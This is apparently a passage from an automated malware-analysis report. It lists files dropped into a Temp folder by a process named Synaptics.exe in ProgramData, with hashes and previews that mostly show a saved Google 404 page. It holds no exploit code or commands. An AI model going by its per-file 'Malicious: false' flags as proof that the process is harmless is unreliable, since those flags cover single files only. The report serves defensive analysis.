Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="afgGjpwCZ97DSSq9QUwjjw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\PNFX2U4z.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\AppData\Local\Temp\PYOYvcs.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2541349407570515
Encrypted:	false
SSDEEP:	24:GgsF+02SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+1+pAZewRDK4mW
MD5:	B7D7AA0E13BE2D43FFD9A95E053164D0
SHA1:	08E507139C3832273E0AB4556293FE12D6D6B545
SHA-256:	94695793E15E03DE1A76FD9F244D0361F37B17B7245A9B413FD1EE8A3272AD2D
SHA-512:	A60623E8C244CAC0936EA2704461CB177C4690DC04A7C02350211A529A0D0C79D0A76205A3EB6A41EB08500CF2E9CE522E4D875797717A59EF685E21C5D5F800
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="WygBg0GtFsNj_ryG8pFLcg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\QFibfBW.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2644452079545925
Encrypted:	false
SSDEEP:	24:GgsF+0YoSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Vo+pAZewRDK4mW
MD5:	5D38E807F9C39DC40638E071B7A2A669
SHA1:	1486BB037E308F6119537FA2B4730C436CBD8974
SHA-256:	F29784C8D7E2E1E1212B76F93F485406EABF726AEED93E43C7C8D60A4207A8E1
SHA-512:	B88D8E9C25A5A8651F6BE9B17C90A24A4454C191AC55B3D50BC1F4DDCFDAF77C2D3F70538D69735F352CF3A092B9FD5183913419B3A2A51AE0A394B6ECE859AA
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="GHRnLOdCz0vscFB1pIqahQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\QoHGffI.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258486313550375
Encrypted:	false
SSDEEP:	24:GgsF+0LlSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+el+pAZewRDK4mW
MD5:	6C9844B6A674F34B77569CFDC5A0651B
SHA1:	01B35D9A2DD849E4DFB0B7988FCD08814B2E5820
SHA-256:	EAFABC9AD5B7B2A7FA835FB7788B1DEFEA450730177580420292ED68EE10A266
SHA-512:	3C3FAF708FE0403254E0EEEDA261B11E6FB3AA2434859E5745B4B53288F953320A78E169555539AEA80A1A0E2E025893264577B9D9EEFE2A39F7DC22210FD2BB
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="34k2e-HtO3AwDRgjwevLJg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\QsXvM6i.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.254803693266374
Encrypted:	false
SSDEEP:	24:GgsF+0uKSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+xK+pAZewRDK4mW
MD5:	A52D40786B0955074E3967B82A40CF90
SHA1:	B39EDA44FE2BDCF79355AE96F33173CAB0FCD071
SHA-256:	CAF476D16BC849496210ABCE61E5877225013AA523D78D163F47F9677300A5F7
SHA-512:	FD945A3A5E2F0C40216EF0B5494D1A71EFE27698B028631E55A31AD990C42C1D5177BA17C1ED7FAB05FB763B6644828E25048FD37A880AFDDE1853C9B2B42BD7
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="uePZudzsHcwA37d4FamvzA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\TH7samn.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264815641107366
Encrypted:	false
SSDEEP:	24:GgsF+01SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+a+pAZewRDK4mW
MD5:	1735AF1114D6B7AFFEB4A8E90B4C131C
SHA1:	2CCDD172A399604F119963B81E4FCEA1C81E9B60
SHA-256:	8B489EAA96C0EB91C487FE9B0F4602E30035D212AE61526E8359CE6084A0A707
SHA-512:	543A682DFBAF1E9B9AF446696598F13D6AE9D091674732CB5A3D59F0CF08077BF493C1204A2BBAA93C777FE04C14C676DFEF55EB1F082F75C994073B8383E961
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="h5vkZUF2KNUhCH44se4lYA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\TZkid47.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264692986414024
Encrypted:	false
SSDEEP:	24:GgsF+00SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+r+pAZewRDK4mW
MD5:	8A1437B5CFB7233C43AFE98AAE13D403
SHA1:	6CB52F3A58BF6751A98D41C3E127ADF1045AE2AE
SHA-256:	17261B4869D7A23C0F1D1C5B7754FDA476A977CDB4B058CDB6895170E0D6A020
SHA-512:	11DDCB07F2D5AA991B22C888F601AB1BE4E450498697DE6CBF87DBC77396F0C880BEC598B747993B5A1027EC1C05E81B0D2CDBC3C47155FE4B5E6E504D146907
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="0EA_Z0rWf8pEPB1nbY_UKw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Tt51fmT.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.267939147361346
Encrypted:	false
SSDEEP:	24:GgsF+0oVSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+fV+pAZewRDK4mW
MD5:	7A166138917A2C994D9F4953E489C094
SHA1:	9BD02600C682F0AC757324D8F1A4B97F3846D2EF
SHA-256:	E9241F09D405AE6158148B5DAFD8E2278442963CDE65293EE76F403041E767EF
SHA-512:	8F8EEF5385EE4BDB562B295E1773CC870D59C52C0A2FDDA21FA87A2057D60ACA1CF5BB06B67CD6BB4BD753983C0327AAA32ED8F4F4A5F3D9ABFBA8F9BDD27B3B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="MDgnSEoN6nePhRNh9JPsZQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\U3eZVQR.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256977617391253
Encrypted:	false
SSDEEP:	24:GgsF+05bSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+eb+pAZewRDK4mW
MD5:	A3367ADC6A61FEFD43CAD3D76A3346CC
SHA1:	A0FE6B668265CF08A1018565F00D6E4DE30D2CF3
SHA-256:	E062F536DA5DF82BEBAA6AE40FA1B47576258A206588AE7E2E317FD86ABB70E3
SHA-512:	CFFDD0F024AC78EB175BAEFFF730F66A811007FE8CC6151753B51474F647AD0B9634ECB9FC412F349332B700ED3C38C44DE90832DE5FBB89A417C21BA6E4AE76
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="qlOg9wxMyA5-v606dP89tg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\UMKFP7k.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261364437551302
Encrypted:	false
SSDEEP:	24:GgsF+0kSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+b+pAZewRDK4mW
MD5:	C37305F0419D7A0A38B98FF3EFD19766
SHA1:	2FF0BC177A6213691C378D323196B59182B40C70
SHA-256:	4C22A982A6EB2DF3C8CAA742F512A55D722E6AC38604915C1320A31E6065716E
SHA-512:	07312C5B89D0E1C4A253750E93E26BEBC66EF974212BC397D9E038804A44EE0D8B1EE77652BD9FEA6E7E943C2106B7E84E09A80A150D12E78FF21E7AFA4DCFA8
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="4YhFfdtD8M6hoHgyhTHt3Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Ucjyx3O.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261202334945734
Encrypted:	false
SSDEEP:	24:GgsF+0xQSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+sQ+pAZewRDK4mW
MD5:	740259B5B1AFD10BD41157A3BDEA77E0
SHA1:	2DA788504A26A73B96F8B8120BFB81C80516C56B
SHA-256:	B96709B65B54F1240B19A440A90BB57192B7D86D6B6DED7F88F3EDB14A4CBF7C
SHA-512:	433390596369499C13A3BBC61A4A5DEF0D806CA941EEB7F9982784B6C4561FAE22A2C7CC0B25C1D6F8938E830AC1FFE17A1010A9200DB44F9AD060743526086D
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="x8_Lnd10DjDai68N9Gd2BA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\UpdAC6a.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.273597865714932
Encrypted:	false
SSDEEP:	24:GgsF+0aaYDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+wY+pAZewRDK4mW
MD5:	3DB774313E0B94B563652F4521D21B9D
SHA1:	6CEDF48B00F9E0671716B63704FF46DB91BE17F9
SHA-256:	BCD2C0E13913BCF6F8CB681DE9F1C45C1D4E08B9D91297629E4357673AA2D280
SHA-512:	3F0580A3B0253D4A75DF35E1C42D8767E2A9E2B4EB5EB09FD141F5274B764671636604E0D6BFAE48A38EA0D3FD8C0B1F7A7368A7003C24024526075BB2E28D9A
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="3-COW6AbGQCgVhZwzWUTsw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\VaY2Eph.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258369209954295
Encrypted:	false
SSDEEP:	24:GgsF+0f9ZSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+W9Z+pAZewRDK4mW
MD5:	89E08070BDF1B46451446C123A3AF69F
SHA1:	1FD203E58D4EDBDAD35C5EEBD363BD921B2C99EC
SHA-256:	00C82D342A6E5C285FAC45195BF15F0F09EB31EAE84D20B87B719F3881E88C96
SHA-512:	89F2DE4A250AE311AA82D9BA072988C240421134238A4EC809005F7B4BECC78F3AB06447669FD4E69220B5960EC2962051C4CFC92D01618259114BACA9A26C46
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="MthMFODo-tBM9A2M_2mtLg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\WEM62TI.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.262514519150054
Encrypted:	false
SSDEEP:	24:GgsF+0KrBzSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Z+pAZewRDK4mW
MD5:	3C20B0284AEF0DACDE2AFA6C2B40F6F8
SHA1:	2FCD4F5DD33E025374BD6A30DBEAA60FBE3FAF96
SHA-256:	6A7603806A4B0BBD13131ED994731EF6FC8FFDAC601CCB1D502ACD4209D5F882
SHA-512:	0B9C7ADB214B1C88A5A860E87620FD6337342B9D20431E21CC79B57D44F21E3F901D62FC7DFE13DE6491E2F59403517F56727550E6A22A3BD00D8E8F15B4A3AF
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9QQ7boCeFJlTMaTcvazNWQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\WpPCy3h.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260257331787912
Encrypted:	false
SSDEEP:	24:GgsF+08tSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+H+pAZewRDK4mW
MD5:	5ED167BFA316604F2A7A093A411CF5ED
SHA1:	CAC5AC03D72F8F5627FF9BCDE077E1360AD1F81E
SHA-256:	9BA192F0CBB9A2690BEE185201C0D5E0F8B7A7FD105F6D4FE274954AA7A5F5BC
SHA-512:	4C1527C41AEAA7BAD276AAA123C1778C81AC54FC3C0BF84B38C1A83A3BFC60205E35F9F3414A778C303CBA36EF786E5F97BB3826390D924ED23F6E6308543F10
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="0y9GeYkuThTD6dX9yRIayg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\XLtGUMn.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260576408769174
Encrypted:	false
SSDEEP:	24:GgsF+09V+7E3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+/Q3+pAZewRDK4mW
MD5:	872103ABD2F40D62251AD7ACF399481E
SHA1:	541C871DFE0CE6A53BEBF237D67821B4F3450D04
SHA-256:	2FD8BE73C28D738FBBD30B17F129C901400060D179F5926E19004901B1536745
SHA-512:	DDBD369B2DBC210903BDB4848AD4951F6BA3037FF534626E882D7C71994CEB262EBF8DB95AADB004EC3CE558A8C695002055A1E983EEB326EC27AB7485E7A749
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="u6NcuK5oSCFcx-VSy_WaRg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\XkE2Mw4.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
